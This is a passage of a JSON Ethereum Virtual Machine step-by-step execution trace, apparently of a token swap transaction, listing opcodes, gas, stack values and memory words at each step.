87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3286,"op":"DUP5","gas":9302,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3287,"op":"DUP4","gas":9299,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3288,"op":"PUSH1","gas":9296,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3290,"op":"DUP6","gas":9293,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3291,"op":"MLOAD","gas":9290,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0x1","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3292,"op":"PUSH2","gas":9287,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3295,"op":"SWAP2","gas":9284,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0x1","0x2","0xce5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3296,"op":"SWAP1","gas":9281,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0xce5","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3297,"op":"PUSH2","gas":9278,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0xce5","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3300,"op":"JUMP","gas":9275,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0xce5","0x1","0x2","0x3b1a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":15130,"op":"JUMPDEST","gas":9267,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0xce5","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":15131,"op":"PUSH1","gas":9266,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0xce5","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":15133,"op":"DUP3","gas":9263,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0xce5","0x1","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":15134,"op":"DUP3","gas":9260,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x1